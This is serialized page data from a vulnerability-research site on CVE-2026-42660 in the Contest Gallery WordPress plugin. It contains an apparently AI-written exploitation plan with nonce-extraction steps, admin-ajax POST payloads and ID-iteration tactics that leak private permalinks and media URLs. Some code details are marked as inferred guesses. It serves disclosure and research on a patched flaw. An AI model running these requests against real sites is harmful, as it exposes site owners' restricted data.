[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f09XlHVykepzYoOXJQXe-NHEOjXFQNSOZfTFQN5hvGqA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-42660","contest-gallery-upload-vote-photos-media-sell-with-paypal-stripe-authenticated-subscriber-sensitive-information-exposure","Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe \u003C= 28.1.7 - Authenticated (Subscriber+) Sensitive Information Exposure","The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 28.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract sensitive user or configuration data.","contest-gallery",null,"\u003C=28.1.7","29.0.0","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-04-29 00:00:00","2026-05-04 14:03:30",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa443e857-a915-4aa4-9879-1465d50544cc?source=api-prod",6,[22,23,24,25],"ajax\u002Fajax-functions-backend.php","ajax\u002Fajax-functions-frontend.php","changelog.txt","check-language-ecommerce.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-42660\n\n## 1. Vulnerability Summary\nThe **Contest Gallery** plugin (up to version 28.1.7) is vulnerable to **Sensitive Information Exposure** via its backend AJAX handlers. Several functions registered with `wp_ajax_` hooks fail to implement capability checks (e.g., `current_user_can('manage_options')`), relying solely on a nonce check. Because WordPress allows any authenticated user (including **Subscribers**) to access the admin dashboard (`\u002Fwp-admin\u002F`) and obtain localized nonces, a Subscriber-level attacker can invoke these functions to extract sensitive configuration data, internal page structures, and attachment URLs.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `post_cg_get_current_permalinks` (and potentially `post_cg_create_pdf_preview_backend`)\n- **Vulnerable Parameter:** `cgRealId` (used to query the `contest_gal1ery` table)\n- **Authentication:** Subscriber-level access or higher.\n- **Precondition:** The attacker must be logged in and obtain a valid `cg_ajax_nonce`.\n\n## 3. Code Flow\n1.  **Entry Point:** The action `post_cg_get_current_permalinks` is registered in `ajax\u002Fajax-functions-backend.php`:\n    ```php\n    add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks');\n    ```\n2.  **Missing Authorization:** The function `post_cg_get_current_permalinks()` starts with:\n    ```php\n    function post_cg_get_current_permalinks() {\n        cg_check_nonce(); \u002F\u002F Verifies nonce, but NO capability check\n        global $wpdb;\n        ...\n    ```\n3.  **Data Extraction:** The function takes `$_POST['cgRealId']` and queries the primary gallery table:\n    ```php\n    $realId = absint($_POST['cgRealId']);\n    $realIdRow = $wpdb->get_row( \"SELECT * FROM $tablename WHERE id='$realId'\" );\n    ```\n4.  **Exposure:** It compiles various internal permalinks (Winner page, Ecommerce page, User page) associated with that gallery and echoes them back in a `\u003Cscript>` block:\n    ```php\n    $entryPermalinks['cg_gallery_ecommerce'] = $permalink.'?test=true';\n    ...\n    cgJsClassAdmin.gallery.vars.entryPermalinks = \u003C?php echo json_encode($entryPermalinks); ?>;\n    ```\n5.  **Sensitive Information:** The exposure of the `cg_gallery_ecommerce` permalink with the `?test=true` parameter or private gallery pages allows an attacker to discover restricted areas or bypass intended access controls for specific gallery workflows.\n\n## 4. Nonce Acquisition Strategy\nBackend nonces for this plugin are localized for the WordPress admin area. Even a Subscriber can access their profile in the admin area.\n\n1.  **Login:** Authenticate as a Subscriber user.\n2.  **Navigate:** Use `browser_navigate` to go to `\u002Fwp-admin\u002Fprofile.php`.\n3.  **Extract:** The plugin localizes the nonce into the global JavaScript object `cgJsClassAdmin`. Use `browser_eval` to extract it.\n    - **JS Variable:** `window.cgJsClassAdmin?.nonce` or `window.cg_ajax_nonce`.\n    - **Localization Code (Inferred):** The plugin typically uses `wp_localize_script('cg-admin-js', 'cgJsClassAdmin', ['nonce' => wp_create_nonce('cg_ajax_nonce'), ...]);`.\n4.  **Fallback:** If the variable isn't in `cgJsClassAdmin`, search the page source for `cg_ajax_nonce`.\n\n## 5. Exploitation Strategy\n\n### Step-by-Step Plan:\n1.  **Obtain Nonce:** \n    - Login as Subscriber.\n    - Navigate to `\u002Fwp-admin\u002F`.\n    - Extract the value of the `cg_ajax_nonce` (action: `cg_ajax_nonce`).\n2.  **Invoke Vulnerable Action:**\n    - Use the `http_request` tool to send a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php`.\n    - Set the `Content-Type` to `application\u002Fx-www-form-urlencoded`.\n    - Payload:\n      ```\n      action=post_cg_get_current_permalinks&cgRealId=1&cg_nonce=[EXTRACTED_NONCE]\n      ```\n3.  **Capture Output:** \n    - The response will contain a script block with `cgJsClassAdmin.gallery.vars.entryPermalinks`.\n    - Parse this JSON to see the internal URLs.\n4.  **Alternative (Attachment URL Exposure):**\n    - Payload:\n      ```\n      action=post_cg_create_pdf_preview_backend&cgRealId=1&cg_wp_upload=[ID]&cg_nonce=[EXTRACTED_NONCE]\n      ```\n    - This will return the direct URL of the media attachment specified by `cg_wp_upload`.\n\n## 6. Test Data Setup\n1.  **Install Plugin:** Ensure `contest-gallery` v28.1.7 is active.\n2.  **Create Gallery:** Use WP-CLI to ensure a gallery exists (this populates the `contest_gal1ery` table).\n    - `wp eval \"global \\$wpdb; \\$wpdb->insert(\\$wpdb->prefix . 'contest_gal1ery', ['GalleryID' => 'test-1', 'WpPageEcommerce' => 999]);\"`\n3.  **Create Private Page:** Create a page with ID 999 and set it to `private`.\n4.  **Create User:** \n    - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n\n## 7. Expected Results\n- The HTTP response from `admin-ajax.php` should return a `200 OK`.\n- The body should contain:\n  ```html\n  \u003Cscript data-cg-processing-get-current-permalinks=\"true\">\n      cgJsClassAdmin.gallery.vars.entryPermalinks = {\"cg_gallery_ecommerce\":\"http:\\\u002F\\\u002Flocalhost:8080\\\u002F?page_id=999?test=true\"};\n  \u003C\u002Fscript>\n  ```\n- This confirms that a Subscriber successfully bypassed authorization to view internal\u002Fprivate configuration links associated with the gallery.\n\n## 8. Verification Steps\n1.  **Check Output:** Verify the returned URL matches the ID of the page created in Step 6.\n2.  **Auth Bypass Confirmation:** Note that the request was made using the Subscriber's cookie, but the function returned data that should be restricted to `manage_options` (Gallery Admin).\n3.  **Iterate IDs:** Demonstrate that changing `cgRealId` allows discovery of all configured galleries and their respective pages.\n\n## 9. Alternative Approaches\nIf `post_cg_get_current_permalinks` is strictly filtered or the response is empty, use **`post_cg_create_pdf_preview_backend`**.\n- This function uses `wp_get_attachment_image_src` on a provided `cg_wp_upload` ID.\n- By iterating `cg_wp_upload` IDs, a Subscriber can leak the full URL of every attachment in the Media Library, regardless of whether it is used in a public post or restricted gallery.\n- **Request:**\n  ```\n  POST \u002Fwp-admin\u002Fadmin-ajax.php\n  action=post_cg_create_pdf_preview_backend&cg_wp_upload=1&cgRealId=1&cg_nonce=[NONCE]\n  ```\n- **Expected Sink:** `echo 'cg_guid###'.$PdfPreviewImage[0].'###cg_guid_end';`","The Contest Gallery plugin for WordPress is vulnerable to sensitive information exposure due to missing capability checks in several AJAX handlers. This allow authenticated attackers with Subscriber-level access to leak sensitive configuration data, internal permalinks, and direct media attachment URLs by providing valid nonces commonly available to logged-in users.","\u002F\u002F ajax\u002Fajax-functions-backend.php line 3\nadd_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks');\nif (!function_exists('post_cg_get_current_permalinks')) {\n    function post_cg_get_current_permalinks() {\n\n        cg_check_nonce(); \u002F\u002F Verifies nonce but lacks capability check\n\n        global $wpdb;\n        $tablename = $wpdb->prefix . \"contest_gal1ery\";\n        $realId = absint($_POST['cgRealId']);\n        $realIdRow = $wpdb->get_row( \"SELECT * FROM $tablename WHERE id='$realId'\" );\n\n        $entryPermalinks = [];\n        \u002F\u002F ... logic to populate $entryPermalinks from $realIdRow ...\n        if(!empty($realIdRow->WpPageEcommerce)){\n            $permalink = cg_get_guid($realIdRow->WpPageEcommerce);\n            if(!empty($permalink)){\n                $entryPermalinks['cg_gallery_ecommerce'] = $permalink.'?test=true';\n            }\n        }\n\n        ?>\n        \u003Cscript data-cg-processing-get-current-permalinks=\"true\">\n            cgJsClassAdmin.gallery.vars.entryPermalinks = \u003C?php echo json_encode($entryPermalinks); ?>;\n        \u003C\u002Fscript>\n        \u003C?php\n\n    }\n}\n\n---\n\n\u002F\u002F ajax\u002Fajax-functions-backend.php line 55\nadd_action('wp_ajax_post_cg_create_pdf_preview_backend', 'post_cg_create_pdf_preview_backend');\nif (!function_exists('post_cg_create_pdf_preview_backend')) {\n    function post_cg_create_pdf_preview_backend($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) {\n\n        cg_check_nonce();\n        \u002F\u002F ... queries to get attachment image src ...\n        if(!empty($realIdRow->PdfPreview) && !empty(get_post( $realIdRow->PdfPreview )) && $WpUpload == $realIdRow->WpUpload){\n            if(!$isFromFrontendUpload){\n                $PdfPreviewImage = wp_get_attachment_image_src($realIdRow->PdfPreview, 'large');\n                echo 'cg_guid###'.$PdfPreviewImage[0].'###cg_guid_end';\n            }\n        }\n    }\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontest-gallery\u002F28.1.7\u002Fajax\u002Fajax-functions-backend.php\t2026-04-06 19:43:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontest-gallery\u002F29.0.0\u002Fajax\u002Fajax-functions-backend.php\t2026-04-19 21:25:02.000000000 +0000\n@@ -1,10 +1,60 @@\n \u003C?php\n+\u002F\u002F ... (new helper functions for access control added) ...\n+\n \u002F\u002F post_cg_get_current_permalinks\n add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks');\n if (!function_exists('post_cg_get_current_permalinks')) {\n     function post_cg_get_current_permalinks() {\n \n-        cg_check_nonce();\n+        cg_require_backend_access();\n \n         global $wpdb;\n         $tablename = $wpdb->prefix . \"contest_gal1ery\";\n@@ -54,10 +104,8 @@\n \n \u002F\u002F create PDF preview\n add_action('wp_ajax_post_cg_create_pdf_preview_backend', 'post_cg_create_pdf_preview_backend');\n-if (!function_exists('post_cg_create_pdf_preview_backend')) {\n-    function post_cg_create_pdf_preview_backend($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) {\n-\n-        cg_check_nonce();\n+if (!function_exists('cg_create_pdf_preview_internal')) {\n+    function cg_create_pdf_preview_internal($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) {","To exploit this vulnerability, an attacker first authenticates as a Subscriber and obtains a valid `cg_ajax_nonce` security token, which is often localized in the global JavaScript objects of the WordPress admin area (e.g., within `cgJsClassAdmin` on `profile.php`). Once the nonce is obtained, the attacker sends a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php`. By setting the `action` parameter to `post_cg_get_current_permalinks` and providing a target `cgRealId`, the plugin will return a JSON object containing internal and potentially private permalinks for that gallery. Alternatively, by using the `post_cg_create_pdf_preview_backend` action with a specific `cg_wp_upload` ID, the attacker can leak the full direct URL of any media attachment in the WordPress Media Library, bypassing intended access restrictions.","gemini-3-flash-preview","2026-05-04 18:07:01","2026-05-04 18:08:20",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","28.1.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontest-gallery\u002Ftags\u002F28.1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontest-gallery.28.1.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontest-gallery\u002Ftags\u002F29.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontest-gallery.29.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontest-gallery\u002Ftags"]